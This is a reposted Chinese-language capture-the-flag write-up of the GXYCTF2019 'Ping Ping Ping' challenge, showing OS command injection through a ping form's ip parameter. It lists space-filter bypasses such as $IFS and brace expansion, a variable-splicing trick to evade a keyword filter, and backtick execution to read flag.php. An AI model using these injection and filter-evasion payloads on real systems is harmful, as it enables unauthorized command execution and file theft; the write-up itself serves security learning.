[GXYCTF2019]Ping Ping Ping


開啟環境之后可以看到

 

 

加上題目是ping ping ping 

所以可以猜測是需要我們命令執行讀取flag

加上?ip=127.0.0.1

http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1

 

 可以看到頁面成功返回,我們嘗試使用管道符執行我們想要執行的命令

?ip=127.0.0.1 | ls

這個時候頁面返回錯誤

 

 懷疑是空格的原因,去掉空格,改為

?ip=127.0.0.1|ls

可以看到成功執行ls

 

 目錄下存在flag.php和index.php文件,嘗試cat flag文件

考慮到之前的空格會被檢測,我們繞過空格

繞過空格的思路一般有:

  $IFS

  ${IFS}

  $IFS$1 //$1改成$加其他數字貌似都行

  <

  <>

  {cat,flag.php} //用逗號實現了空格功能

  %20

  %09

 

我們這里使用$IFS,即構造?ip=127.0.0.1|cat$IFSflag.php

不過頁面顯示的錯誤信息改變:

 

 

猜測是因為檢測了flag,所以我們嘗試先讀取index.php

?ip=127.0.0.1|cat$IFSindex.php,還是沒有顯示結果,依次嘗試:?ip=127.0.0.1|cat$IFS$1flag.php成功

 

 可以看到對我們的輸入進行了過濾,在flag貪婪匹配里面我們不將flag連着寫,就不會匹配到,同時可以看到有$a變量,嘗試覆蓋它

變量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源代碼里面就有flag

 

 

另外我們可以嘗試使用反引號內聯執行的做法,linux下反引號``里面包含的就是需要執行的系統命令

而反引號里面的系統命令會先執行,成功執行后將結果傳遞給調用它的命令

?ip=127.0.0.1;cat$IFS`ls`

查看源代碼可以看到index.php和flag.php的內容都顯示了出來

 

參考鏈接:

https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/

https://www.jianshu.com/p/fd7f9fcc9333

https://www.cnblogs.com/wangtanzhi/p/12246386.html#autoid-0-0-0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM